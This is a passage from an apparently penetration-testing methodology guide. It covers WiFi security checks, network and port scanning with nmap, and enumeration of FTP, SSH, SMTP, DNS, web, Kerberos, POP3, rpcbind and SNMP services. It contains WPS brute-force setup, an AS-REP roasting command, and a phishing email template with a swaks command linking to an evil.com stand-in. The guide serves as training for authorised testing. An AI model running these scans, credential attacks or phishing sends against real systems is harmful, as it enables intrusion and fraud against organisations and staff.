Finally, you can use the AP MAC address to identify the device vendor with tools like [mac\_lookup](https://github.com/Marmeus/mac_lookup) or webs like [dnschecker.org](https://dnschecker.org/mac-lookup.php) or [aruljohn.com](https://aruljohn.com/mac.pl).

### Supported capabilities

In the "Fixed parameters" section, you can obtain information regarding the capabilities that the AP has implemented, are allowed or are being used.

![Fixed parameters](/files/mVUUMQyUYjfzGmED2HPE)

### Analysis of insecure security protocols

Wireless network security relies on a combination of encryption processes, cypher algorithms, and authentication protocols to provide maximum protection for a WLAN. Regarding the type of encryption process, cypher algorithm, and authentication protocol used in the APs set-up, the company's wireless security could be in danger.

All this information can be obtained by running airodump-ng against the company's APs.

![Encryption methods listed by airodump-ng](/files/QsO5aPucUD4pV2h23Q3V)

## Encryption methods

Nowadays, there are 4 publicly known encryption processes for obscuring information through wireless Access points: WEP < WPA < WPA2 < WPA3. Being the latter the most secure of all, but not so well spread in the industry nowadays.

During a WiFi pentest, you must pay attention to the encryption methods used by the APs in the scope, alerting the client if they are using WEP or WPA and suggesting them to use at least the WPA2 or WPA3 algorithms.

### Cypher methods

Regarding the encryption method, different cyphers algorithms are used to transform the data into some kind of cyphertext that would be non-understandable for any third party that would intercept the information.

| Cypher process | Cypher algorithm     | Breaking the encryption attakcs                                                                          |
| -------------- | -------------------- | -------------------------------------------------------------------------------------------------------- |
| WEP            | RC4                  | Initialization Vector (IV) collision attack, Weak Key Attack, Reinjection Attack or Bit flipping attack. |
| WPA            | TKIP                 | Cracking the password obtained during initial 4-way handshake                                            |
| WPA2           | AES-CCMP             | Cracking the password obtained during initial 4-way handshake                                            |
| WPA3           | AES-CCMP or AES-GCMP | Not know an official standard vulnerability in the cypher algorithm.                                     |

## Authentication methods

After the discovery of a network, the authentication process is the second step to access a network even before encrypting the data. The commonly used authentication protocols in wireless networks are:

| Open (OPN)                               | No credentials are required to access the network.                                                                                         | Any attacker can have access to the network.                                                                     |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------- |
| WiFi Protected Setup (WPS)               | Allows users to access the network without needing to know the password, using a PIN generated by the router.                              | Attackers can gain access by finding out the PIN through brute force attacks.                                    |
| Pre-Shared Key (PSK)                     | A pre-shared password is required to access the website.                                                                                   | If the pre-shared password is weak, it can be guessed by the attacker through brute force or dictionary attacks. |
| Extensible Authentication Protocol (EAP) | Users are required to authenticate themselves, using username and password, against an authentication server based on the 802.1x protocol. | An attacker could perform social engineering attacks to obtain a user's credentials.                             |

Small companies usually use WPA2-PSK because it is simpler to set up. However, it must be replaced by WPA2-EAP because it is more secure.

Depending on the authentication protocol used by the company, it is possible to gather more information that can be useful in future attacks.

### WiFi Protected Setup (WPS)

The WiFi Protected Setup standard was created to minimise user interaction in small offices or domestic environments by simplifying the process of configuring security on wireless networks. However, the PIN can be obtained by performing brute-force attacks.

In order to perform this attack, we need to install **wash** and **reaver** to our systems with the following commands.

```bash
sudo apt-get -y install build-essential libpcap-dev aircrack-ng pixiewps
git clone https://github.com/t6x/reaver-wps-fork-t6x
cd reaver-wps-fork-t6x*/
cd src/
./configure
make
sudo make install
```

Finally, you need to use wash to discover the networks whose APs have WPS enabled.

```bash
sudo wash -i <MON_IF> -s [-2 | -5] [-a]
```

* `-2`: Scans for 2GHz APs.
* `-5`: Scans for 5GHz APs.
* `-a`: Show all APs, even those without WPS.

### Extensible Authentication Protocol (EAP) enumeration

The EAP protocol can be configured for credential (EAP-TTLS/PAP and PEAP-MSCHAPv2) and digital certificate (EAP-TLS) authentication and is a highly secure method for protecting the authentication process.

Several tools can retrieve the allowed authentication processes by the network.

**Note**: Most of the tools are hard to install and might not work depending on the wireless network.

* [EAP\_Buster](https://github.com/blackarrowsec/EAP_buster): Lists what EAP methods are supported by the RADIUS server behind a WPA-Enterprise access point. **Requires** a valid identity .aka username to perform the attack. To obtain a username, you can use [crEAP](https://github.com/W9HAX/crEAP) (**Dependency**: [Scapy-com](https://github.com/Tylous/Scapy-com) ), which retrieves the username of a **NEW** login connection.
* [Eapeak](https://github.com/rsmusllp/eapeak): Gives useful information of WPA-Enterprise networks. **Requires** [Scapy-com](https://github.com/Tylous/Scapy-com).
* [Audit-radius](https://github.com/ANSSI-FR/audit-radius): Audits the authentication mechanisms on WiFi and ethernet.
* [Wifipem](https://github.com/InfamousSYN/wifipem): Obtains the certificate used during a handshake.
* [Eaptyper](https://github.com/InfamousSYN/eaptyper): Enumerates the EAP methods supported by the WPA2-Enterprise AP.

## Security countermeasures

A company must have for granted that sooner or later is going to be attacked, and having wireless APs is just another entry vector that the attackers will try to exploit in order to access the company's networks. For doing so, it is necessary to install some countermeasures to difficult the task for the attackers.

### Identification of wireless networks with generic ESSID

Using generic ESSIDs such as "WLAN\_XXXX", "\<ISP>\_XXXX", dd-wrt, "\<COMPANY\_NAME>\_5G", etc., can help an attacker discover the APs of the company and perform some attacks. For instance:

* The access points belonging to the company. This is useful in a building with several companies on each floor.
* It can indicate the device and if its configuration is as it comes from the factory.
* The router's key generation algorithm or the key format (Length, use of symbols, etc.) may be known.

Hence, it is encouraged to change the ESSID of the APs to difficult performing wireless attacks.

### Verification of wireless signal area coverage

An incorrect network configuration could allow the networks' coverage to spread outside the company's perimeter, making it easy for attackers to interact with the network from a greater distance without the aid of dedicated hardware.

To perform a wireless site survey, there are many tools, and some require GPS gadgets. Nonetheless, you can use Google Maps, airodump-ng and csvkit to get a similar result in a markdown table format.

1\. Go to Google Maps and look for the company's building. Then, click on "Layers/More/Satellite" and "Global view" to adapt the view of the building.

2\. Choose the locations around the building where you will use airodump. Suppose the company's office is in a building with different businesses, select points on each floor.

3\. Use an image editor to add the points where you will retrieve the data with airodump.

4\. Execute airodump-ng on each point, saving the information on a different file for each location.

5\. Finally, retrieve each CSV file's information and convert it into a markdown table for each location.

```bash
find . -name  'airodump*[[:digit:]].csv' | xargs -I {} bash -c "cat {} | sed '1d' | sed '/^Station MAC.*$/,$ d' | csvcut -c 14,9,1 | sed '1d'  | csvsort  -c 1| csvgrep -c 1 -i -r '^$'" | sed '1s/^/ESSID, Power, BSSID\n/' | csvlook | tee <wsac.md>
```

The results for this task should be that the company's APs do not appear in any of the locations or that the "PWR" values have high lower values (the further from cero, the better).

| Signal strength | Quality to expect |
| --------------- | ----------------- |
| >= -50 dBm      | Excellent.        |
| ]-50,-60] dBm   | Very good         |
| ]-60,-70] dBm   | Good              |
| ]-70,-85] dBm   | Poor              |
| < -85 dBm       | Unusable          |

### Wireless Intrusion Prevention Systems (WIPS)

Some companies might have wireless prevention systems to detect rogue access points or deauthentication attacks.

In this section, you should create a fake access point to check if the WIPS detects it or if it is taken down through deauthentication packages. Furthermore, you can use the tool [airgeddon](https://github.com/v1s1t0r1sh3r3/airgeddon), trying to perform deauthentication attacks to check if any alarm is triggered.

## References

* [Open Wireless Security Assessment Methodology (OWISAM)](https://www.owisam.org/index.php?title=OWISAM-DI-001)
* [WiFi Pentesting Guide](https://github.com/ricardojoserf/wifi-pentesting-guide#1)
* [Airodump-ng](https://www.aircrack-ng.org/doku.php?id=airodump-ng)
* [Cipher vs Encryption - What's the difference?](https://wikidiff.com/encryption/cipher)
* [Wireless Security Protocols](https://ipcisco.com/lesson/wireless-security-protocols/)
* [Wireless Security Tutorial](https://www.tutorialspoint.com/wireless_security/index.htm)
* [How Does 802.1X Authentication Work?](https://www.securew2.com/solutions/802-1x)
* [How to Measure Your Wi-Fi Signal Strength](https://www.netspotapp.com/wifi-signal-strength/)


# IP & Port Scanning

## Introduction

This section contains the tools to discover assets and the services running inside each of them.

## Discovering assets

If the attacker needs to attack an internal network, first of all, will need to discover which hosts are active on that network. For doing so, we can use several tools.

Ping scan with **Nmap** pings each machine to check if it is active. However, if there are machines configured to not respond to pings, they will not appear (Machines with windows defender enabled).

```bash
sudo nmap -sn -n <NETWORK>/<MASK>
```

The **Arp-scan** tool uses the Address Resolution Protocol (ARP) to identify all active network assets.

```bash
sudo arp-scan -I <NETWORK_INTERFACE> <NETWORK>/<MASK>
sudo netdiscover -r <NETWORK>/<MASK>
```

Another alternative would be to scan the top X ports of all the machines on a network, waiting for some to respond so we know a device is active.

Obtain the top X TCP ports based on Nmap.

```bash
nmap --top-ports 20 -v -oG - 2>/dev/null | grep 'Ports scanned' | awk '{print $4}' | sed 's/.*(\(.*\))/\1/' | awk -F\; '{print $2}'
```

Ports scanners tools:

```bash
masscan -p<PORTS> <NETWORK>/<MASK>
nmap -n -p<PORTS> <NETWORK>/<MASK> #SLOWER
```

Finally, another method much slower and less intrusive is sniffing the traffic. However, it will only detect the devices that send ARP requests or replies over the network, requiring a ton of time to notice the whole network.

```bash
sudo netdiscover -p
```

### Scanning assets

Once the attackers know the assets to analyse, they need to scan which ports have opened. This can be done with Nmap.

### TCP Ports

Obtaining all TCP listening ports.

```bash
sudo nmap -v -sS -p- -n -T4 -oN AllTCPPorts.txt <IP>
```

### UDP Ports

Obtaining UDP listening ports.

```bash
sudo nmap -v -sU -T4 -n -oN AllPortsTop1000UDP.txt <IP> 
sudo nmap -v -sU -p- -T4 -n -oN AllPortsUDP.txt <IP> 
```

### Port information gathering

Then, for each TCP or UDP listening port, the attacker needs to identify the running service and version and extra information about them.

```bash
sudo nmap -sS -sC -sV -n -oN ScriptPortsScan.txt -p <PORTS> <IP> # TCP
sudo nmap -sU -sC -sV -n -oN ScriptPortsScan.txt -p <PORTS> <IP> # UDP
```

### Simple vulnerability scanning

Nmap also provides scripts for detecting vulnerabilities in concrete services.

```bash
sudo nmap --script vuln -n -oN VulnsPorts.txt -p <PORTS> <IP>
```

### Detecting the Operating System

A simple way to detect the installed operating system is by checking the TTL of a ping. If the TTL is around 60, there is a high chance it is Linux; meanwhile, if the TTL is around 128, the system can be Windows.

Nonetheless, Nmap has built-in scripts to detect the operative system and version.

```bash
sudo nmap -O -sV <IP>
```

## Massive host scanning

Imagine that you have a huge scope like a /16 network, which is a total of 65536 hosts. For those cases, you can use automated tools like Nessus or be very organised while scanning hosts.

The best option is the have each host separated by folders; so that every result of scans, tools, exploits, etc. are stored in the same host's folder. The problem is that when scanning a whole network con Nmap, the result is stored in one huge file. Hence, as a solution, with the script [massScan.sh](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Scripts/massScan.sh), you will obtain the scans in this structure.

```bash
# /24, /32 networks
/tmp/NmapScan/
├── 1
│   ├── AllPorts.gnmap
│   ├── AllPorts.nmap
│   └── AllPorts.xml

# /16 network
/tmp/NmapScan/
├── 0
│   ├── 1
│   │   ├── AllPorts.gnmap
│   │   ├── AllPorts.nmap
│   │   └── AllPorts.xml
```

This way, you can easily obtain which hosts have port 80 open with this command.

```bash
grep "80/open" $(find /tmp/NmapScan/ -name *.gnmap) | awk '{print $2}'
```

Finally, with the script [massScan\_depth.sh](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Scripts/massScan_depth.sh), you can make a scan more in-depth about each open port, knowing more information about each service. The results will be stored like this.

```bash
/tmp/NmapScan/
├── 0
│   ├── 1
│   │   ├── AllPorts.gnmap
│   │   ├── AllPorts.nmap
│   │   ├── AllPorts.xml
│   │   └── PortsDepth.txt
```

Nmap cheatsheet

![NMAP Cheatsheet](/files/VXN9tPIKcrbUNE9kngEr)

## Windows environment

As a first approach, the attacker can use Enum4linux for enumerating information from Windows and Samba systems.

```bash
enum4linux -a [-u "username" -p "password"] <IP>
enum4linux -A [-u "username" -p "password"] <IP>
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
```


# Services

In this section, you will find a list of the most common enumeration techniques for the most common services you can find in a company's IT infrastructure.


# 21 - FTP

## Introduction

**Port**: 21 (TCP)

The **File Transfer Protocol** (FTP) is a standard network protocol used for transferring files. There are various ways of exploiting the service:

* **Anonymous Authentication**
* **Directory Path Traversal**: An attacker could create or remove files outside the FTP root folder.
* **Brute Force Attack**
* **Buffer Overflow**: There are FTP services that are vulnerable to Buffer overflows.

## Enumeration

You can use Nmap to enumerate an FTP server.

```bash
sudo nmap -sC -sV --script="ftp* and not brute" -p21 -n <TARGET>
```

## Anonymous login

If **anonymous** login is enabled, you can retrieve files as anonymous with a random password.

```bash
nmap --script=ftp-anon <TARGET>
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
```

## Upload/Download binaries

If binary mode is **not** enabled, your binary files will not upload or download correctly. Thus, you need to type:

```
binary on
```

## Recursive download

If you want to download every file from an FTP service, you can use wget.

```
wget -r -m [ --no-passive | --passive-ftp ] ftp://anonymous:password@<TARGET>
```

mget is also an alternative, but it shall not always work.

```
prompt off
mget -R <Remote_folder> <Local_folder>
```

## Error: Address already in use

We need to enable passive mode:

```
pass
```

## References

* [Pentesting | Exploiting FTP](https://medium.com/@kubotortech/pentesting-exploiting-ftp-cba8ec81968e)


# 22 - SSH

## Introduction

**Port**: 22 (TCP) The **Secure Shell** (SSH) protocol is used for operating network services and transferring files securely over an unsecured network.

## Basic enumeration

Default enumeration:

```bash
nmap -p22 -sC -sV -n <TARGET>
```

To obtain the number of algorithms supported by the server and how to add them if they are not supported by default.

```bash
sudo nmap --script=ssh2-enum-algos -p22 -n <TARGET>ssh <USER>@<IP> -oKexAlgorithms=+diffie-hellman-group1-sha1 
```

To obtain the SSH server's key fingerprint. If the host key has been reused and it is [publicly known](https://github.com/rapid7/ssh-badkeys/tree/master/authorized), the attacker could lead to MITM attacks.

```bash
sudo nmap --script=ssh-hostkey -p22 -n <TARGET>
```

To check support for SSHv1.

```bash
sudo nmap --script=sshv1 -p22 -n <TARGET>
```

This command returns authentication methods that an SSH server supports (The username may be invalid).

```bash
sudo nmap --script=ssh-auth-methods --script-args="ssh.user=<USERNAME>" -p22 -n <TARGET>
```


# 25 - SMTP

## Introduction

**Port**: 25 (TCP)

The **Simple Mail Transfer Protocol** (SMTP) is a standard protocol is a network protocol used for the exchange of e-mail messages between computers. However, SNMP stands between POP3 and IMAP protocols because it is the only protocol capable of sending emails.

## Enumeration

As a starting point, you can use the SMTP scripts in order to gather further information like:

* Basic user enumeration
* Supported SMTP commands (You can also use the `HELP` command)
* NetBios, DNS and OS version.
* Checks for some vulnerabilities

```bash
sudo nmap -p25 --script="smtp* and not brute" <TARGET>
```

Alternatively, you can use Metasploit to gather the SMTP version with the following payload.

```bash
use auxiliary/scanner/smtp/smtp_version
```

## User enumeration

There are at least three commands that can be used for user enumeration:

* **VRFY**: Used to verify if a certain user is known to the SMTP-server
* **EXPN**: Used to reveal the actual email address(es) of an alias
* **RCPT TO**: A needed command to specify to whom the email should be sent

The main difference between VRFY and EXPN, and "RCPT TO" is that with the formers, you enter the command alongside the account, name, alias or email address you want to check, obtaining a 25X response if the account exists else a 550. In contrast, the latter requires you to write a whole email to work.

```bash
[nc -nC <TARGET> <PORT>] | [telnet <TARGET> <PORT>] | [openssl s_client -starttls smtp -connect <TARGET>:587]
EHLO localhost
VRFY root
252 2.0.0 root
VRFY idontexist
550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table
```

Finally, as an alternative, you can use the SMTP Metasploit module to enumerate users.

```bash
auxiliary/scanner/smtp/smtp_enum
```

## Writing emails

If you have access to a company's SMTP email server, you can try to send emails to its employees in order to perform phishing or spoofing attacks.

```bash
mail from: <username@company.com>
rcpt to: <victim1@company.com>, <victim2@company.com>
data
Subject: Not a phishing email

Hello,

Please access this website with your work credentials...

The IT department

.
```

If you want to avoid writing all those lines, you can write a simple command, thanks to the **SWAKS** tool.

```bash
swaks --to <EMAIL_1>,<EMAIL_2> --from <EMAIL_3> --server <SMTP_IP> [--auth LOGIN --auth-user "<USER>" --auth-password "<PASSWORD>"] [--add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html"] --header "Subject: <Subject>" --body "<a href='https://evil.com'>Microsoft</a>" [ --attach <FILE_PATH>]

sendemail -t <EMAIL_1> -f <EMAIL_2> -s <SMTP_IP>  -u "<subject>" -m "<Message>" [-a <FILE_PATH>]
```

## References

* [Pentest - Everything SMTP](https://luemmelsec.github.io/Pentest-Everything-SMTP/)
* [Sending test mails with Swaks](https://liquidat.wordpress.com/2013/03/20/howto-sending-test-mails-with-swaks/)


# 53 - DNS

## Introduction

**Port**: 53 (TCP/UDP) There are two main reasons why **Domain Name System** (DNS) enumeration is essential. First, enumerating the number of domains and sub-domains can reveal how large or small the organisation is. Secondly, virtual routing may be enabled in the company's web server, responding to different web pages depending on the accessed domain.

## Enumeration

There will typically be a dedicated DNS server inside an enterprise environment. In order to identify it, search for TCP or UDP port 53 on the network hosts.

```bash
nmap -n -sT -p53 <NETWORK>/<MASK>
nmap -n -sU -p53 <NETWORK>/<MASK>
```

Then, you can use the following commands to retrieve domains and subdomains based on IPs.

```bash
dig -x <IP> @<DNS_SERVER_IP>       # Reverse lookup
dig ANY @<DNS_SERVER_IP> <DOMAIN>  # Any information
dig axfr @<DNS_SERVER_IP> <DOMAIN> # zone transfer 
# Subdomain brute forcing
gobuster dns -d <DOMAIN> [ -r <DNS_SERVER_IP>] -w <WORDLIST.TXT>  [ -t <NUMBER_THREADS>] 
dnsrecon -t brt -d <DOMAIN> [-n <DNS_SERVER_IP>] -D <WORDLIST.txt> [ --threads <NUMBER_THREADS>]
```

If you want to obtain domains but you do not have an internal DNS server, you can use the tools on the OSINT section or the following commands.

```bash
dnsrecon -n 8.8.8.8 -d <DOMAIN>
dnsrecon -d <IP> -t zonewalk
dnsrecon -d <DOMAIN> -t axfr # Zone transfer
dnsrecon -r <IP>             # Reverse lookup
```

## References

* [Back to Basics: DNS Enumeration](https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3)
* [Pentesting DNS](https://book.hacktricks.xyz/pentesting/pentesting-dns)
* [DNS Reconnaissance – DNSRecon](https://pentestlab.blog/2012/11/13/dns-reconnaissance-dnsrecon/)


# 80,443 - WEB

## Enumeration

**Ports**: 80 / 443 (TCP)

A web application consists of domains, subdomains, directories, APIs, endpoints, files... In this section, the attacker will find some of the main steps to gather information on a web application for future web exploitations.

## General Enumeration

Using the default scripts of Nmap should provide the attacker with enough information to continue enumerating the web.

```bash
nmap -sC -sV -p80,443 <TARGET>
```

Nonetheless, there is a huge quantity of Nmap scripts for web enumeration.

```bash
sudo nmap -p80,443 --script=http* <TARGET>
```

## Well Knows files and directories

At the beginning of web enumeration, you should check for standard web files that can provide you with extra information.

### .git

Some websites accidentally expose their source code via this endpoint. If a `.git` directory exists, you can obtain the repository's contents with [git-dumper](https://github.com/arthaud/git-dumper)

```
git-dumper http://<WEBSITE.COM>/.git ~/website
```

### robots.txt

The file `http://TARGET/robots.txt` will provide you with new endpoints excluded by web crawlers.

### .well-known

The endpoint `http://TARGET/.well-know/`can contain a lot of URIs with valuable details.

You can check for well-known standard URIs at this [link](https://en.wikipedia.org/wiki/Well-known_URI#List_of_well-known_URIs).

### sitemap.xml

The file `http://TARGET/sitemap.xml` will help you find content pages.

## Communication layer

Most of the web sites traffics travels over an encrypted channel, thanks to TLS, so another thing you need to check on a web audit is to enumerate the encryption supported protocols, the certificates and its expiration date.

### Domain certificate

If the web page communication is protected with HTTPS, you can inspect its certificate looking for subdomains or wildcards.

To do so, you can execute the following command.

```bash
echo | openssl s_client -connect <DOMAIN>:443  | openssl x509 -noout -text | grep DNS | sed 's/,/\n/g'
```

As an alternative, use **sslscan**.

```bash
sslscan <URL>
```

### Automated tools

There are tools that perform encryption checks about ciphers, protocols as well as some cryptographic flaws.

* [**Testssl.sh**](https://github.com/drwetter/testssl.sh) (Offline) is a free command line tool which checks a server's service on any port f

```bash
git clone <https://github.com/drwetter/testssl.sh>
cd testssl.sh
./testssl.sh <URL>
```

* [**Qualys - SSL Labs**](https://www.ssllabs.com/ssltest/) (Online) performs a deep analysis of the configuration of any SSL web server on the public Internet.

## Directories/Files enumeration

Another essential step in web enumeration is looking for hidden files that do not appear on the web page. Directory-bruteforcing, can be achieved with the following tools.

* **Ffuf**

```bash
ffuf -w <WORDLIST.TXT> [-e <FILE_EXTENSIONS>] [-of <OUTPUT_FORMAT>] [-o <OUTPUT_FILE>] [-t <NUMBER_OF_THREADS>] -u <URL>/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e /,.asp,.aspx,.html,.php,.txt,.py,.bak,.doc,.js,.cgi -of md -o ffuz.txt -t 60 -u http://WEBSITE.COM/FUZZ 
```

* **Feroxbuster**

```bash
feroxbuster [-t <THREADS>]  [-w <WORDLIST.TXT>]  [-x "<EXTENSIONS>"] [-f] [-v] [-k] [-n] [-q] [-o <FILE_OUTPUT>] -u <URL>
feroxbuster -u http://<WEBSITE.COM>/ -t 10 -w <WORDLIST> -x "txt,html,php,asp,aspx,jsp" -f -v -k -n -q -o ferox.txt
```

* **Gobuster**

```bash
gobuster dir -w <WORDLIST.TXT> [-k] [-x <FILE_EXTENSIONS>] [-t <THREADS>] [-o <OUTPUT_FILE>] -u <URL>
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x /,asp,aspx,html,php,txt,py,bak,doc,js,cgi -t 40 -o GoBuster.txt -u http://10.10.38.126/
```

## Virtual hosts

A single web server can be configured to run multiple websites at once under different subdomain names, what are called virtual hosts (vhosts). Finding vhosts is important because each website might contain vulnerabilities, allowing the attacker to compromise the server and gain unauthorised access to the other website.

You can enumerate virtual hosts with the following tools.

* **Ffuf**

```bash
ffuf -w <WORDLIST.TXT> -u <URL> -H "Host: FUZZ.<DOMAIN>"
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://website.com/ -of md -o vhosts.txt -H "Host: FUZZ.website.com"
```

* **GoBuster**

```bash
gobuster vhost -w <WORDLIST.TXT> [-k] [-t <THREADS>] [-o <OUTPUT_FILE>] -u <URL>
gobuster vhost  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -k  -o vhosts.txt -u https://example.com/
```

## Web Application Scanners

There are already automated tools that will facilitate your web enumeration.

### Wappalyzer

Wappalyzer is a web browser extension that identifies technologies on websites, such as JavaScript libraries, web servers, operating systems, CMS, Analytics...

### Nikto

Nikto is a CLI scanner that checks for vulnerabilities and configuration problems.

```bash
nikto -url https://example.com/
```

### Wapiti

[Wapiti](https://wapiti-scanner.github.io/) is a general web scanner web applications that crawls the webpages of the deployed webapp, looking for scripts forms where it can inject data. Once it gets the list of URLs, forms and their inputs, Wapiti acts like a fuzzer,injecting payloads to see if a script is vulnerable.

```bash
wapiti -u <URL> -c <COOKIES.JSON> -m all
```

### WPScan

WPScan is a WordPress scanner that checks for WordPress version, installed plugins and themes, looking for vulnerabilities. Furthermore, it looks for backed up `wp-config.php` files and database dumps. Finally, it also does user enumeration and password brute-forcing.

```bash
wpscan [-e ap,at,dbe,u] [--api-token <API-TOKEN>] [--random-user-agent] [--detection-mode aggressive] [--plugins-detection aggressive] [--disable-tls-checks] [-o <OUTPUT_FILE>] --url <URL>
```

### Joomscan

Joomscan is a Joomla vulnerability scanner that already comes preinstalled with Kali.

```bash
joomscan -u <URL> 
```

### Drupal

Drupal is another CMS like WordPress and Joomla with associated scanners such as [drupwn](https://github.com/immunit/drupwn) and [droopescan](https://github.com/SamJoan/droopescan).

```bash
python3 drupwn [--users] [--nodes] [--thread <NUMBER>] [--mode enum] --target <URL>
droopescan scan drupal  [-t <NUMBER_THREADS>] -u <URL> 
```

### Badmoodle

[Badmoodle](https://github.com/cyberaz0r/badmoodle) is an unofficial community-based vulnerability scanner for moodle that scans for canonical and non-canonical Moodle vulnerabilities.

```bash
./badmoodle.py -u <URL>
```

## References

* [Robots.txt](https://moz.com/learn/seo/robotstxt)
* [Web Application Security Testing > 01-Information Gathering](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver)


# 88 - Kerberos

## Introduction

**Port**: 88

Kerberos is a computer network security protocol, used in Active Directory, that provides mutual authentication for trusted users and servers across an untrusted network. Nonetheless, it does not validate which resources or services users can access, making each service responsible for checking the users' permissions.

As a method of authentication, users request tickets to the Kerberos service for accessing services existing outside the context of the Kerberos service itself. These tickets contain information identifying the user who requested the ticket. Tickets are encrypted with the password of the service account.

Finally, attackers can escalate privileges or perform lateral movements on the network by compromising these tickets.

## Obtain domain users

An attacker can enumerate users on an Active Directory network with Kerberos. Nevertheless, the attacker can also use other services like SMB to obtain them.

```
kerbrute userenum --dc <IP_DC> -d <DOMAIN> <USERS_WORDLIST> sudo nmap -p 88 --script=krb5-enum-users --script-args "krb5-enumusers.realm='<domain>'",["userdb=<USERNAMES.TXT>"] <IP>
```

## AS-REProasting attack

A pentester can perform AS-REP Roasting to know which user accounts do not require preauthentication.

```
GetNPUsers.py <domain_name>/ -usersfile <USERNAME.txt> -format {hashcat | john} -outputfile <output_AS_REP_responses_file> -dc-ip <DC_IP>
```

### References

* [Explain like I’m 5: Kerberos](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)


# 110 - POP3

## Introduction

**Port**: 110 (TCP)

The **Post Office Protocol** (POP) is an Internet standard protocol for transferring messages from an e-mail server to an e-mail client.

## Enumeration

With the Nmap scripts, you can retrieve information about the server.

* To include information about: NetBios, DNS and OS build version.

```bash
nmap -n -p 110,995 --script=pop3-ntlm-info <TARGET>
```

* To show which commands the server supports.

```bash
nmap -n -p 110,995 --script=pop3-capabilities <TARGET>
```

Also, you can use the Metasploit module `auxiliary/scanner/pop3/pop3_version` in order to obtain the pop3 version.

## Commands

In this subsection, you will find some useful commands in order to interact with the POP3 service through CLI.

### Login

You can interact with a POP3 services following these steps.

```bash
[telnet <IP> <PORT>] | [nc -nC <IP> <PORT>]
ehlo example.com #Some servers also accept helo in place of ehlo.
USER <USERNAME>
PASS <PASSWORD>
```

### Listing emails

```bash
> list
1 897
2 5136
```

### Read an email

```bash
retr 2 
```

### Delete an email

```bash
dele 2
```


# 111 - rpcbind

## Introduction

**Port**: 111 (TCP)

Remote Procedure Call (RPC) is an inter-process communication technique to allow client and server software to communicate on a network. Rpcbind accepts port reservations from local RPC services. These ports are then made available so the corresponding remote RPC services can access them. Then, the rpcbind service responds to requests for RPC services and sets up connections to the requested RPC service. For instance, NFS is an RPC service.

## Enumeration

Enumerating port 111, you can find **Network File System** (NFS) mounts, therefore you can access the machine's internal file system.

```
sudo nmap -sC -sC -p 111 <TARGET>
111/tcp   open  rpcbind       2-4 (RPC #100000)                        
| rpcinfo:         
|   program version    port/proto  service
[...]                         
|   100003  2,3         2049/udp   nfs                                         
|   100003  2,3         2049/udp6  nfs                                         
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs                                         
|   100005  1,2,3       2049/tcp   mountd    
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
[...]
rpcinfo  <TARGET>
```

In order to list the mounts available you can use showmount.

```
showmount -e <TARGET>
```

Then, you can mount the shared folder on your machine.

```
mount -t nfs <TARGET>:<REMOTE_FOLDER> <LOCAL_FOLDER> -o nolock
```

## References

* [Understanding Rpcbind and RPC and Port 111](https://www.howtouselinux.com/post/understanding-rpcbind-and-rpc)
* [Pentesting Portmapper - Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-rpcbind)


# 161 - SNMP

## Introduction

**Port**: 161,162,10161,10162 (UDP)

The **Simple Network Management Protocol** (SNMP) is an application layer protocol for different devices on a network to exchange management information with one another. It allows devices to communicate even if they are other devices and run different software.

The **Management Information Bases** (MIB) is a collection of information in a data tree structure. Each MIB consists of one or more nodes, having each node a unique **Object Identifier** (OID).

![SNMP MIBS herarchy](/files/5oOSnhAogd7h6SGCSipY)

For example, the code [1.3.6.1.2.1.1.1](http://oid-info.com/get/1.3.6.1.2.1.1.1) will be translated to "iso.identified-organization.dod.internet.mgmt.mib-2.system.sysDescr", where you can find the full name and version identification of the system's hardware type, software operating-system, and networking software.

Furthermore, the SNMP requires an authentication string called "community string" to access or alter its information.

Finally, there are different SNMP versions v1, v2c and v3; that you will need to specify depending on the tool.

## OID Translation

By default, Kali Linux does not translate the OID; hence if you use snmpwalk, you will see only the OIDs with their associated values. To fix this problem, you need to execute the following commands.

```bash
sudo apt install snmp-mibs-downloader -y
sudo cp /etc/snmp/snmp.conf /etc/snmp/snmp.confBkp
echo "" | sudo tee /etc/snmp/snmp.conf
```

## Enumeration

With the following Nmap command, you can enumerate:

* Network interfaces
* SNMPv3 Basic information
* Community string brute-forcing
* Downloads Cisco router IOS configuration
* Netstat information
* Running processes
* System description
* Windows services, shares, installed software and users

```bash
nmap -sU -p 161 --script=snmp-* <TARGET>
```

Once, discovered a valid community string you can enumerate SNMP with **snmapwalk**.

```bash
snmpwalk [-v 1|2c|3] -c <COMMUNITY_STRING> <TARGET> <FILTER>
snmpwalk [-v 1|2c|3] -c <COMMUNITY_STRING> <TARGET> .1 # Enumerate everything
```

## Setting SNMP values

You can modify SNMP values with the tool snmpset. [Here](https://web.archive.org/web/20160605063038/https://www.webnms.com/cagent/help/technology_used/c_snmp_overview.html) you can find a list of data types.

```bash
